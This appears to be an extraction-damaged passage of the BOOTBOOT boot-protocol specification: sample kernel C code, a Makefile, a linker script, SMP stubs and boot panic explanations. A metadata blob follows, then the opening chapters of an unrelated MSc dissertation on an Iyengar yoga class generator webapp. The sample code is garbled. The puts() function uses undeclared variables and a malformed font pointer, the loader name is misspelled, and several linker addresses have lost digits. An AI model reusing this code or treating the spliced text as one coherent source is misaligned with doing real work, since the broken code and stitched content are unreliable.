extern unsigned char environment[4096]; // configuration, UTF-8 text key=value pairs
extern uint8_t fb; // linear framebuffer mapped
/******************************************
* Entry point, called by BOOBOOT Loader *
******************************************/
void _start()
{
//*** NOTE: this code runs on all cores in parallel ***/
int x, y, s=bootboot.fb_scanline, w=bootboot.fb_width, h=bootboot.fb_height;
// cross-hair to see screen dimension detected correctly
for(y=0;y<h; y++) { *((uint32_t*)(fb + s*y + (w*2)))=0x00FFFFFF; }
for(x=0;x<w; x++) { *((uint32_t*)(fb + s*(h/2)+x*4))=0x00FFFFFF; }
// red, green, blue boxes in order
for(y=0;y<20; y++) { for(x=0;x<20; x++) { *((uint32_t*)(fb + s*(y+20) + (x+20)*4))=0x0000FF00; } }
for(y=0;y<20; y++) { for(x=0;x<20; x++) { *((uint32_t*)(fb + s*(y+20) + (x+50)*4))=0x000000FF; } }
for(y=0;y<20; y++) { for(x=0;x<20; x++) { *((uint32_t*)(fb + s*(y+20) + (x+80)*4))=0x00FFFFFF; } }
// say hello
puts("Hello from a simple BOOBOOT kernel");
// hang for now
while(1);
}
/**************************
* Display text on screen *
**************************/
typedef struct {
uint32_t magic;
uint32_t version;
uint32_t headersize;
uint32_t flags;
uint32_t numGlyph;
uint32_t bytesperGlyph;
uint32_t height;
uint32_t width;
uint8_t glyphs;
} __attribute__((packed)) psf2_t;
extern volatile unsigned char _binary_font_psf_start;
void puts(char *s)
{
psf2_t *font = (_binary_font_psf_start + font->headersize +
(*s>0&&*s<font->numGlyph?*s:0)*font->bytesperGlyph);
int offs = (kx * (font->width+1) * 4);
for(y=0;y<font->height; y++) {
for(x=0;x<font->width; x++) {
*(uint32_t*)((uint64_t)&fb+offs) = (*font++) & (mask)?0xFFFFFF:0;
}
}
offs+=bootboot.fb_scanline;
s++; kx++;
}
26
A sample Makefile
```makefile
# mykernel/Makefile
#
# Copyright (c) 2017 bzt (bztsrc@gitlab)
#
# This file is part of the BOOTBOOT Protocol package.
# @brief An example Makefile for sample kernel
#
#
CFLAGS = -Wall -fpic -ffreestanding -fno-stack-protector -nostdinc -nostdlib -I../
all: mykernel.x86_64.elf mykernel.aarch64.elf
mykernel.x86_64.elf: kernel.c
x86_64-elf-gcc $(CFLAGS) -mno-red-zone -c kernel.c -o kernel.o
x86_64-elf-ld -r -b binary -o font.o font.psf
x86_64-elf-ld -nostdlib -n -T link.ld kernel.o font.o -o mykernel.x86_64.elf
x86_64-elf-strip -s -K mmio -K fb -K bootboot -K environment -K initstack mykernel.x86_64.elf
mykernel.aarch64.elf: kernel.c
aarch64-elf-gcc $(CFLAGS) -c kernel.c -o kernel.o
aarch64-elf-ld -r -b binary -o font.o font.psf
aarch64-elf-ld -nostdlib -n -T link.ld kernel.o font.o -o mykernel.aarch64.elf
aarch64-elf-strip -s -K mmio -K fb -K bootboot -K environment -K initstack mykernel.aarch64.elf
clean:
rm *.o *.elf *.txt
A sample linker script
```c
/
/*
* mykernel/link.ld
*
* Copyright (c) 2017 bzt (bztsrc@gitlab)
*
* This file is part of the BOOTBOOT Protocol package.
* @brief An example linker script for sample kernel
*
*/
mmio = 0xfffffffff8000000; /* these are configurable for level 2 loaders */
fb = 0xffffffffc0000000;
bootboot = 0xffffffffe000000;
environment = 0xfffffffff01000;
initstack = 1024;
PHDRS {
boot PT_LOAD; /* one single loadable segment */
}
SECTIONS {
. = 0xfffffffff002000;
.text : {
KEEP(*.text.boot) *(.text .text.*) /* code */
*(.rodata .rodata.*) /* data */
*(.data .data.*)
} :boot
.bss (NOLOAD) : { /* bss */
.= ALIGN(16);
*(.bss .bss.*)
*(COMMON)
} :boot
}
A sample Symmetric Multi Processing code
### x86_64
```
_start:
mov $1, %eax
cpuid
shr $24, %ebx
cmpw %bx, bootboot + 0xC
jne .ap
/* things to do on bootstrap processor */
.ap:
/* things to do on application processors */
```
(* - APIC only supports cores up to 256. Use x2APIC for full compatibility, up to 65536 cores)
### AArch64
```
_start:
mrs x0, mpidr_el1
and x0, x0, #3
cbnz x0, .ap // BSP is always core 0
/* things to do on bootstrap processor */
.ap:
/* things to do on application processors */
```
A sample grub.cfg entry
```
menuentry "MyKernel" {
multiboot /bootboot.bin # the loader
module /bootboot/initrd # first module is the initrd (optional)
module /bootboot/config # second module is the environment file (optional)
boot
}
```
A sample mkbootimg.json configuration file
```
{
"diskguid": "00000000-0000-0000-0000-000000000000",
"disksize": 128,
"config": "boot-x86_64/sys/config",
"initrd": [ { "type": "tar", "gzip": true, "directory": [ "boot-x86_64", "boot-AArch64" ] },
{ "type": "fat16", "size": 16 },
{ "type": "ext4", "size": 32, "name": "MyOS usr", "file": "usrpart.bin" },
{ "type": "ntfs", "size": 32, "name": "MyOS var", "file": "varpart.bin" }]
}
```
Loading emergency initrd over serial
If you want to boot the initial ramdisk over a serial cable, you’ll need `raspbootcom`, originally written by Goswin von Brederlow ([https://github.com/mrvn/raspbootin](https://github.com/mrvn/raspbootin)) or use the ANSI C rewrite ([https://gitlab.com/bztsrc/bootboot/blob/master/aarch64-rpi/raspbootcom.c](https://gitlab.com/bztsrc/bootboot/blob/master/aarch64-rpi/raspbootcom.c)), or [USBImager](https://bztsrc.gitlab.io/usbimager) (which is GUI application for Windows, MacOSX and Linux) on host to send an initrd file over serial cable.
**Protocol:**
- **Client → Server**: 3 bytes, “\003\003\003” (three times Ctrl+C)
- **Server → Client**: 4 bytes, size of the image in little endian
- **Client → Server**: 2 bytes, “OK” or “SE” (Size Error)
- **Server → Client**: size bytes, image (only if response was “OK”)
Troubleshooting
BOOTBOOT-PANIC: no LBA support
Really old hardware. Your BIOS does not support LBA. This message is generated by 1st stage loader (boot.bin).
BOOTBOOT-PANIC: no FS0:\BOOTBOOT.BIN
The loader is not on the disk or it's starting LBA address is not recorded in the boot sector at dword [0x1B0] (see mkboot). As the boot sector supports RAID mirror, it will try to load the loader from other drives as well. This message is generated by 1st stage loader (boot.bin).
BOOTBOOT-PANIC: Hardware not supported
Really old hardware. On x86_64, your CPU is older than family 6.0 or PAE, MSR, LME features not supported. On AArch64 it means the MMU does not support 4k granule size or at least 36 bit address size.
BOOTBOOT-PANIC: Unable to initialize SDHC card
The loader was unable to initialize EMMC for SDHC card access, probably hardware error or old card.
BOOTBOOT-PANIC: No GPT found
The loader was unable to load the GUID Partitioning Table.
BOOTBOOT-PANIC: No boot partition
There's no EFI System Partition nor any other bootable partition in the GPT. Or the FAT file system is found but corrupt (contains inconsistent BPB data), or doesn't have a BOOTBOOT directory (with 8+3 MSDOS entry, not LFN).
BOOTBOOT-Protocol APPENDIX
BOOTBOOT-PANIC: Not 2048 sector aligned
This error is only shown by bootboot.bin (and not by bootboot.efi or bootboot.img) and only when booted from CDROM in El Torito "no emulation" mode, and the boot partition file system's root directory is not 2048 bytes aligned or the cluster size is not multiple of 2048 bytes. For FAT16 it depends on FAT table size and therefore on file system size. If you see this message, increase the number of hidden sectors in BPB by 2. FAT32 file systems are not affected.
BOOTBOOT-PANIC: Initrd not found
The loader could not find the initial ramdisk image on the boot partition.
BOOTBOOT-PANIC: Kernel not found in initrd
Kernel is not included in the initrd, or initrd's fileformat is not recognized by any of the file system drivers and scanning haven't found a valid executable header in it.
BOOTBOOT-PANIC: Kernel is not a valid executable
The file that was specified as kernel could be loaded by fs drivers, but it's not an ELF64 or PE32+, does not match the architecture, or does not have any program header with a loadable segment (p_vaddr or core_base) in the negative range (see linker script). This error is also shown by level 2 loaders if the address of mmio, fb, bootboot and environment symbols are not in the negative range (-1G to 0) or if they are not page aligned. On x86_64 the fb symbol, and for AArch64 the mmio symbol must be 2M aligned too. Use mkbootimg check to find out what the problem is.
BOOTBOOT-PANIC: Kernel is too big
The kernel is bigger than 16 megabytes. For level 1 loaders, the limit is somewhere below 2M.
BOOTBOOT-PANIC: GOP failed, no framebuffer
BOOTBOOT-PANIC: VESA VBE error, no framebuffer
BOOTBOOT-PANIC: VideoCore error, no framebuffer
The first part of the message varies on different platforms. It means that the loader was unable to set up linear framebuffer with packed 32 bit pixels in the requested resolution. Possible solution is to modify screen to screen=800x600 or screen=1024x768 in environment.
BOOTBOOT-panic: Unsupported cipher
This message is shown if the initrd is encrypted with a cipher that the loader does not support. Solution: regenerate and encrypt the initrd image with SHA-XOR-CBC cipher, known to all implementations. (Note: encryption is only supported for FS/Z initrd images.)
|
{"Source-Url": "https://gitlab.com/bztsrc/bootboot/raw/master/bootboot_spec_1st_ed.pdf", "len_cl100k_base": 12125, "olmocr-version": "0.1.42", "pdf-total-pages": 31, "total-fallback-pages": 0, "total-input-tokens": 64924, "total-output-tokens": 14351, "length": "2e13", "weborganizer": {"__label__adult": 0.0003705024719238281, "__label__art_design": 0.0004260540008544922, "__label__crime_law": 0.00031495094299316406, "__label__education_jobs": 0.00033283233642578125, "__label__entertainment": 0.000118255615234375, "__label__fashion_beauty": 0.00018155574798583984, "__label__finance_business": 0.00033736228942871094, "__label__food_dining": 0.0002586841583251953, "__label__games": 0.0014085769653320312, "__label__hardware": 0.0178680419921875, "__label__health": 0.0001881122589111328, "__label__history": 0.00029540061950683594, "__label__home_hobbies": 0.00019431114196777344, "__label__industrial": 0.0007586479187011719, "__label__literature": 0.0002191066741943359, "__label__politics": 0.00024318695068359375, "__label__religion": 0.0005130767822265625, "__label__science_tech": 0.0426025390625, "__label__social_life": 6.008148193359375e-05, "__label__software": 0.0494384765625, "__label__software_dev": 0.8828125, "__label__sports_fitness": 0.0002422332763671875, "__label__transportation": 0.0004906654357910156, "__label__travel": 0.00017726421356201172}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 54542, 0.03254]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 54542, 0.43247]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 54542, 0.7323]], "google_gemma-3-12b-it_contains_pii": [[0, 76, false], [76, 1346, null], [1346, 6656, null], [6656, 9813, null], [9813, 11795, null], [11795, 11840, null], [11840, 14192, null], [14192, 14222, null], [14222, 16598, null], [16598, 19008, null], [19008, 21329, null], [21329, 23785, null], [23785, 25719, null], [25719, 27591, null], [27591, 28947, null], [28947, 30606, null], [30606, 33075, null], [33075, 34595, null], [34595, 35323, null], [35323, 37693, null], [37693, 39097, null], [39097, 40623, null], [40623, 42453, null], [42453, 43366, null], [43366, 45007, null], [45007, 47055, null], [47055, 48820, null], [48820, 51005, null], [51005, 52222, null], [52222, 54244, null], [54244, 54542, null]], "google_gemma-3-12b-it_is_public_document": [[0, 76, true], [76, 1346, null], [1346, 6656, null], [6656, 9813, null], [9813, 11795, null], [11795, 11840, null], [11840, 14192, null], [14192, 14222, null], [14222, 16598, null], [16598, 19008, null], [19008, 21329, null], [21329, 23785, null], [23785, 25719, null], [25719, 27591, null], [27591, 28947, null], [28947, 30606, null], [30606, 33075, null], [33075, 34595, null], [34595, 35323, null], [35323, 37693, null], [37693, 39097, null], [39097, 40623, null], [40623, 42453, null], [42453, 43366, null], [43366, 45007, null], [45007, 47055, null], [47055, 48820, null], [48820, 51005, null], [51005, 52222, null], [52222, 54244, null], [54244, 54542, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 54542, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 54542, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 54542, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 54542, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 54542, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 54542, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 54542, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 54542, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 54542, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 54542, null]], "pdf_page_numbers": [[0, 76, 1], [76, 1346, 2], [1346, 6656, 3], [6656, 9813, 4], [9813, 11795, 5], [11795, 11840, 6], [11840, 14192, 7], [14192, 14222, 8], [14222, 16598, 9], [16598, 19008, 10], [19008, 21329, 11], [21329, 23785, 12], [23785, 25719, 13], [25719, 27591, 14], [27591, 28947, 15], [28947, 30606, 16], [30606, 33075, 17], [33075, 34595, 18], [34595, 35323, 19], [35323, 37693, 20], [37693, 39097, 21], [39097, 40623, 22], [40623, 42453, 23], [42453, 43366, 24], [43366, 45007, 25], [45007, 47055, 26], [47055, 48820, 27], [48820, 51005, 28], [51005, 52222, 29], [52222, 54244, 30], [54244, 54542, 31]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 54542, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-22
|
2024-11-22
|
3243a2fc987715405d73e25a390a4cb031feb07d
|
Iyengar Yoga Class Generator
Ventsislav Antov
School of Computing Science
Sir Alwyn Williams Building
University of Glasgow
G12 8RZ
A dissertation presented in part fulfillment of the requirements of the Degree of Master of Science at the University of Glasgow
14 September 2020
Abstract
The Iyengar Yoga Class Generator is a webapp designed to auto-generate yoga classes consisting of a number of poses, all based on a combination of user preferences and yoga class structure rules. A free webapp with this exact functionality for Iyengar yoga specifically is a unique supplementary product for people interested in Iyengar yoga. The aim of this project was to develop a software that is simple, intuitive and could contribute towards increasing the non-practitioners’ interest in yoga. The final result was a working webapp developed using the ReactJS framework adhering to the aims mentioned above.
This paper is focused on the analysis, design, development, deployment and testing of the software behind the webapp. It also explores the practicality of it in the world of yoga especially when it comes to the Iyengar type of yoga. The code itself is actually consisting of two separate apps and will be made available for the public audience at https://github.com/VentsislavAntov/YogaClassGenerator_PGAPI and https://github.com/VentsislavAntov/IyengarYogaClassGenerator. As the software was deployed through Heroku, some of the code was adapted which means that running it locally does not work anymore.
Education Use Consent
I hereby give my permission for this project to be shown to other University of Glasgow students and to be distributed in an electronic form.
Name: Ventsislav Antov
Signature:
Acknowledgements
I would like to thank my supervisor, Dr. Ornela Dardha, for her guidance and overall support throughout the entirety of this project as well as all the individuals who participated in the survey for this project.
| Appendix D | pgAdmin CREATE TABLE ........................................3 |
| Appendix E | pgAdmin Database ..................................................4 |
| Appendix F | Google Form ..........................................................4 |
| Appendix G | Ethics Checklist......................................................5 |
Chapter 1 Introduction
1.1 Aim and Objectives
The Iyengar Yoga Class generator project aims to develop a webapp with which users can create their own Iyengar Yoga classes and use them for their workouts. If the user is a yoga practitioner, the webapp could serve as a supplementary product for the user’s yoga practicing in order to generate new combinations and to filter exercises in a custom way. If the user is not a yoga practitioner, the yoga webapp could also serve as a tool to promote this form of exercise as research suggests non-practitioners experience an exclusivity entry barrier to yoga (Marlynn Wei, 2016). The webapp is aimed to be simple to use and to not require prior knowledge or experience with yoga. An accompanying music player was incorporated as a secondary objective. It allows the users to play music during the classes. Given the lack of this exact product in the marketplace and the exclusivity problem for beginners, the online and anonymous Iyengar Yoga Class generator could provide real value to the world of yoga.
1.2 Report Structure
The report is split into chapters, each explaining different parts of the project, its components, decisions and background where applicable.
Chapter 2 will focus on the background analysis, the discussion of the requirements gathering, the subsequent analysis and the presentation of features chosen for the project.
Chapter 3 will explore the design and implementation for the webapp. The chapter will look into the system architecture design, the implementation of the webapp including the use of a secondary API application and the deployment of the two apps.
Chapter 4 will cover testing and evaluation, starting with the testing methodology. Afterwards, the evaluation strategy and the results will be discussed.
Chapter 5 will conclude the report and will discuss the achievements, the points for improvement and the potential future work related to the project.
Chapter 2 Analysis
2.1 Background
Yoga as a practice has been around for thousands of years with its earliest known origins dated to India about 5,000 years ago (Feuerstein, 2006). Recently, its popularity has been skyrocketing with practitioners in the US alone increasing from 20 million to 36 million in the period between 2012 to 2016, whilst 90% of the overall population is aware of what yoga is all about (Yoga Alliance, 2016). The number of practitioners on a worldwide scale could be up to 300 million according to Montigny (2020) showing that it already has a significant presence.
Yoga is a great practice to improve overall well-being. In general, it is an excellent substitute of exercise for almost all health-related aspects regarding both the healthy population and those with health issues (Ross and Thomas, 2010). There is evidence that yoga can contribute towards stress, anxiety and even depression reduction (Pascoe and Bauer, 2015). Furthermore, yoga spills over into other benefits as 75% of yoga practitioners also do other sports and most live sustainability (Marlynn Wei, 2016). The hidden emotional, spiritual and intellectual benefits of yoga have not been recognized properly as explained by the founder of Iyengar yoga himself (Iyengar, 2019) which is arguably even a greater benefit than health wellbeing.
Iyengar yoga specifically focuses on precision, alignment and the use of props such as blocks or blankets while performing some of the postures (also called asanas). The props help people who find some of the asanas difficult to perform them and experience the full benefits of yoga (Goldberg, 2014) which makes it suitable for those with injuries or certain medical conditions as well as for beginners (Beirne, 2014). Iyengar yoga as a specific type of yoga is very commonly applied as a lower back pain remedy and evidence strongly suggests that it works successfully for that purpose (Williams et al., 2005). A different study confirms Iyengar yoga has significant benefits to the cardiac system due to its relaxing nature (Khattab et al., 2007). In addition, it helps with knee osteoarthritis treatments and is especially welcoming for patients who are obese and/or over the age of 50 (Kolasinski et al., 2005). These are just some of the numerous proven benefits of this style of yoga.
A major reason behind why people do not practice yoga, however, is because of the idea of exclusivity. Some people believe yoga is only for those who are already spiritual, flexible and athletic (Marlynn Wei, 2016) preventing those who are not yet yoga practitioners from joining in. In a study for fitness mobile apps it was revealed that when users can customize their own personal workouts, they felt in control of their fitness style, had more autonomy and determination. It was suggested that users felt part of a community of fitness culture (Molina and Sundar, 2018). This appears to be a solution to the problem of exclusivity suggested earlier, but applied to the sphere of fitness, rather than yoga.
The current market for Iyengar yoga webapp is relatively small. One of the best apps that were found during the research for this paper is called Tummee. The webapp allows users to filter poses and/or use already prepared sequences given certain filtering. The problem is that the webapp is paid, requires certain pose
knowledge from the way the sequences are presented and is not fully randomized, but rather offers a collection of prepared sequences. There are a lot of features present, but arguably this can make it seem overwhelming and discourage those who are just starting with Iyengar yoga (Tummee, n.d.). There are other webapps that seem to be on the market such as Yoga Selection (Yoga Selection, 2019), but since they don’t even have a free trial, this research was unable to establish what exactly they offer. They do, however, hint that they are more focused on training yoga rather than generating classes for users. There are other webapps for yoga in general, but not specific for Iyengar yoga.
2.2 Requirements
The requirements for the project were gathered by a combination of discussions with the project supervisor, Dr. Ornela Dardha, and an analysis of what the user should expect from a webapp of this nature that is not already present on the market.
Dr. Ornela Dardha provided a basic template of what an Iyengar class should consist of in terms of structuring the pose type sequencing, what poses to include in order to have Iyengar style yoga and what poses should be fixed for all classes. She suggested filtering options, so that users can build classes based on preferences for difficulty, type and length. An additional filter for props was later decided to be included. Classes were also agreed to be unique each time a form is submitted, so some element of randomization of the poses is always required. The necessary poses needed to be stored in some type of database in order to allow the extraction and facilitate the randomization functionality of the webapp. The webapp needed to be simple enough, so that the average user can use the app without any prior knowledge. The simplicity and random nature of the webapp is what will really make it unique given what is already in the market for Iyengar yoga.
The rest of the requirements were formed based on what the user should expect. The conclusions were that besides having basic information for each pose, the user should have some form of visual representation of the pose for assistance when performing it. This was decided to be in a form of animation, rather than a picture in order to illustrate the movements. An additional feature for a music player was included as a requirement to supplement each class which is to be chosen as a separate preference when submitting the rest of the form.
As the user will not be storing or adding any information or will have unique information displayed on the webapp which other users can’t reproduce by having the same preferences, no login functionality was required.
Based on the above, the finalized webapp requirements have been prioritized using the MoSCoW technique as shown in Figure 1.
Must Have:
- Request a random class which will query the database to show the exercises to the user including Sanskrit name, English name, difficulty, type, length and props
- Be able to filter the class based on type, difficulty, length, props and a combination of these
- Be able to select None for each preference
- Be able to see the description of each pose
- Be able to resubmit the form to create a new random class
Should Have:
- Have a music player preference option with different music types and an option for having no music
- Have a music player displayed whenever a music type is chosen upon submission
Could Have:
- Show animations of each exercise
- Be able to control the music player (volume level and pause/continue)
- Add or remove specific exercises from the database
- Create/delete personal account
- Log in/out of account
Would Have:
- Facebook/Google log in
- Receive email notifications as alerts to exercise
Figure 1 - MoSCoW
This MoSCoW is slightly different compared to the original MoSCoW draft submitted on proposal as the concept of the project was not fully known yet. Nevertheless, this version was completely valid upon the start of the project work.
2.3 Analysis
The pool of poses itself was created by using the list of essential poses provided by Dr. Dardha and some other poses were included to create a sufficient representation of different pose types such as with props/without props or beginner/intermediate/advanced difficulty reaching the final total of 54 poses to be included.
The filtering options based on the requirements were finalized to be Props (None/No props/Props), type (None/Meditate/Balance/Stretch/Mix), difficulty (None/Beginner/Intermediate/Advanced), length (None/15 minutes/30 minutes/1 hour/1 hour 30 minutes) and music (Disabled/Classical Yoga Style/Lofi Hip Hop/Chill/Nature). It was also decided that the user can always have no preference selected if no choice was wanted. In this case, the program will not filter for that specific preference and the default length will be 30 minutes. For music, it was chosen to include styles that seem to align with the relaxing nature of yoga.
The randomization requirement will have to be achieved in the business logic of the program. The poses will be stored in an external database for the data extraction requirement and the reasoning behind that will follow in section 3.2. As the sample size of the poses will not be extremely large, the class length was designed to be up to 1 hour and 30 minutes which is a practical maximum anyways.
As there are 3 different pose filtering options (props, type and difficulty), not all preferences are possible to be applied for each individual pose for each class generated as there are too many unique clusters of filtering combinations. There will be some priority given to the preferences. If possible, all preferences will be applied and a random exercise will be chosen from that pool. If the pool is empty, props will be removed from the filtering list and an exercise will be chosen from this wider pool of poses. If that doesn’t work, type will be removed. If that doesn’t work, difficulty will be removed which will leave no filtering at all and a random pose will be chosen from the overall pool of poses. The reasoning for this order is that there will not be that many exercises with props anyway, so props has to be removed first. Type will be next given the 4 different categories versus the 3 different categories for difficulty (less poses per category). Finally, the difficulty will be removed so that, if needed, a pose can still be extracted even if the user’s preferences cannot be even partially applied. The last pool will be very unlikely to be used at all as the poses are relatively well distributed between the different categories of each type, but it’s still possible and is good practice if more categories and/or preferences are added in the future, expanding the filtering possibilities and narrowing individual unique cluster sizes.
To achieve optimal simplicity, the user interface will have to be simplified as much as possible, so no yoga-heavy jargon will be used on form submission and no unnecessary complexities will be added to avoid confusion potential.
2.4 Features and Justifications
As already touched upon, the overall idea of the Iyengar Yoga Class Generator Webapp is to provide simple Iyengar style yoga classes consisting of poses filtered by user preferences. A webapp of this nature could overcome the exclusivity issue mentioned earlier observed with people reluctant to try out yoga. The second primary purpose for developing the webapp is to provide a support tool for yoga practitioners to simply have a way of generating different classes with ease. With this in mind, to aid the development of this project, user stories were written, identifying individual features that were planned to be incorporated into the project. Due to the project being carried out by an individual rather than in a team, no sprint methodology was applicable and user stories do not have points assigned to them. The user stories are illustrated in Appendix A.
Given that the main idea of the project was to be able to create classes from yoga poses, the user story “As a user I can select my preferences for the poses and submit the form” reflects that main functionality, thus justifying the highest priority.
The user story “As a user, upon submitting the form I will receive a class which will be for my desired length preference” is linked to the ability to filter based on the desired class length which is necessary given the filter options mentioned earlier. Because this is not a critical feature, the priority has been set to 2.
The user story “As a user, upon resubmitting the form, I will have a new randomized class generated for me using the new preferences” will provide the user the option to resubmit and receive new classes every time even when submitting the same preferences. This is crucial, so the priority is 1.
The user story “As a user, I can see the English and Sanskrit names, the exercise group, the type, the difficulty, the length and the props of each pose after the class is generated” is focusing on the details of each pose which is useful information to the user, necessary to differentiate among poses for inexperienced users. Therefore, this user story has the highest priority.
The user story “As a user, I can see a visual representation of the pose in the form of an animation” builds on the necessity to have an illustration of each pose to aid the user in completing the pose. This is also crucial for new yoga practitioners, so the priority is 1.
The user story “As a user, I can see the description of each pose when the form is submitted” aims to provide a functionality where descriptions are linked with each pose. Due to the fact that there are already animations aiding the users, this user story has a priority of 2.
The user story “As a user, I can request music to be played as part of the form submission and can select from multiple types” is an additional feature which is secondary to the purpose of the app. Having background music could be a nice additional feature for those users who like to listen to music while exercising. Given the secondary nature, this priority is of 2.
Finally, the user story “As a user, I can control the volume, pause and unpause the music if I had selected a music type before submitting the form” is building on top of the previous story by providing convenience to the user in terms of controlling the music player. As the overall music player is secondary for the purpose of this webapp, the priority here is again 2.
Chapter 3 Design and Implementation
3.1 System Architecture
Based on the requirements, multiple approaches were possible for developing the web application. Middleware such as Django would have been relatively easier to implement. I personally chose to use the React JavaScript framework as I was eager to learn how to use it.
React, as described on the official React website, is a convenient and efficient way to create user interfaces that are rendered in real time as the program is updated. It has a unique reusable component-based system which aligns with the concept of separation of concern. All the logic of components is integrated into JavaScript, so the state is out of the DOM. Server rendering is enabled through Node.js. Components can have their own “state” with which the rendering can change the output (React 2020). The virtual DOM enables much faster manipulations which is why React is better than normal JavaScript in that aspect (Codecademy, 2020). Finally, React is actually maintained by the tech giant Facebook (Malhotra, 2018). The drawback to choosing React is that the database has to be developed separately and can’t be included as part of the same program similarly to what Django does. For the Iyengar Yoga Class Generator this meant that an API is necessary in order to extract information from the database.
Figure 2 represents the system architecture for the webapp.

The user goes to a web browser (client) and accesses the Main React Application. Upon submitting the form, the Main React Application fetches data from the API React Application. The API React Application uses GET and POST requests to query the database which is in PostgreSQL.
The decision for the split of Main React Application and a separate API React Application was for two reasons. During the coding process, having a main process for the application and a separate one for the API within the same overall application caused the need of two separate localhosts which hinted issues upon deployment. A solution was to split the webapp into two separate applications. Secondly, the idea of microservices is becoming an increasingly popular common practice. Having a single app for multiple services is referred as a “monolith” which can have issues especially long term when the web application becomes large-scale. Such issues could be related to dependencies, memory, computational requirements, maintenance and scalability limitation. Microservices provide an alternative with which processes are independent and communicate between each other (Dragoni et al., 2017). Furthermore, this aligns with the separation-of-
concerns principle which is one of the most important concepts of software engineering where different concerns of a problem are solved by different components of the software (Win, Piessens, Joosen and Verhanneman, 2002). Arguably, this is more suitable for larger applications, but the development of the Iyengar Yoga Class Generator was done with the intention of potential future developments and complexities.
3.2 Implementation and Technologies
Because of the significant time consumption for animating the poses, the number of poses had to be limited to a certain maximum. The choice of the specific poses to be added to the database was based on 45 mandatory class poses (IYENGAR YOGA (UK), 2018) suggested by my supervisor as well as additional poses extracted from Tummee (Tummee, n.d.). The latter group was selected with the intention of having sufficient poses for each filtering combination. Nevertheless, as the user can filter poses from three different options and more importantly, filter by all 3 options simultaneously, an enormous number of poses will be needed for complete filtering for all scenarios especially for the longer class length options. Having that in mind, a balance of 54 total poses was chosen as sufficient for the purposes of this project. In some long class length cases, the program will aim to select as many exercises from as many filters provided by the user as possible, but where that will not be possible, some of the filters will be ignored, which was the most reasonable solution given the stated limitations.
The pose animations were first developed using Pivot Animator which is a very simple stick-figure animation tool. The large time consumption was due to the fact that some animations were up to 150 frames and each pose required an animation. An example can be found in Appendix B. These were then saved as .piv files and subsequently uploaded to Giphly in order to have the animations as a gif link. Some of the animations were created with the help of YouTube videos. The YouTube channels used can be found in Appendix C. A database of Yoga poses with video examples was also used for some specific poses (Yoga Journal, 2020).
Once the pose animations were completed, the database itself was created. For this purpose, pgAdmin 4’s PostgreSQL platform was used. The create table command can be found in Appendix D. Each pose has a unique ID.
Each pose’s details were acquired from a combination of Tummee data (Tummee, n.d.), the YouTube videos from Appendix C, information provided by my supervisor who is a yoga practitioner and several other sources for specific pose descriptions (Yogic Way of Life, 2019) (Studio Po, 2015). Some of the poses were amended later on after a review from my supervisor for improvements. This included straightening the legs more on pose animations such as for Utthita Trikonasana and fixing several poses entirely using the book by Iyengar himself (Iyengar, 1997). Appendix E illustrates the final database with the populated information.
The structure of each class has the following rules which were advised by my supervisor. Each class starts with a seated pose which can either be Siddhasana or Svastikasana where the latter is more likely. Note that this was implemented in the program as 30:70 probabilities. After that, standing poses follow which always start from the pose Tadasana. Then come backward extension poses, seated twists, seated forward extensions, the pose Sarvangasana and the pose Savasana.
Based on sample classes provided by Dr. Dardha, the visual class representations from Appendix C and the details of the 54 poses already included, the final structure for the classes is illustrated in Figure 3.
<table>
<thead>
<tr>
<th></th>
<th>Class Name</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Siddhasana/Swatiksana</td>
<td>Random Generated with higher Swatiksana odds</td>
</tr>
<tr>
<td>2</td>
<td>Tadasana</td>
<td>Constant</td>
</tr>
<tr>
<td>3</td>
<td>Standing Backwards Extension</td>
<td>Random Generated</td>
</tr>
<tr>
<td>4</td>
<td>Standing Forward Bend</td>
<td>Random Generated</td>
</tr>
<tr>
<td>5</td>
<td>Seated Twist</td>
<td>Random Generated</td>
</tr>
<tr>
<td>6</td>
<td>Seated Forward Bend</td>
<td>Random Generated</td>
</tr>
<tr>
<td>7</td>
<td>Seated other</td>
<td>Random Generated</td>
</tr>
<tr>
<td>8</td>
<td>Prone/Supine</td>
<td>Random Generated</td>
</tr>
<tr>
<td>9</td>
<td>Sarvangasana</td>
<td>Constant</td>
</tr>
<tr>
<td>10</td>
<td>Sarvasana</td>
<td>Constant</td>
</tr>
</tbody>
</table>
**Figure 3 - Class Structure**
Some sub-categories which were originally planned to be included have been combined in order to reduce the number of smaller categories and better accommodate user preferences. An example is Standing Side Bends incorporated into Standing Forward Bends. Prone and Supine are also combined because Prone only had 3 poses in the database. Class parts 3 to 8 inclusive, visible in Figure 3, will all have assigned time equal to (User Time Preference - Sum of parts 1,2,9,10)/6. This will ensure that each section has the same amount of time attributed to it.
The two apps that comprise this project were developed using the React JavaScript framework and the IDE used was IntelliJ. As touched on before, React JS was completely new for me, so about 2 weeks of steep learning were necessary to research how to work with it. A class diagram can be found in Figure 4 for the finished Main App.
**Figure 4 - Class Diagram**
Having an API also means that two localhosts will always be active. For this reason, a second application is dealing separately and in isolation with the database, facilitating data extraction. One consequence of this development was that the deployment had to be done in a more complicated way. Django, for example, incorporates the deployment within itself, but in this case, Heroku will be utilized to deploy the React app instead as detailed in section 3.3.
3.2.1 Program Logic
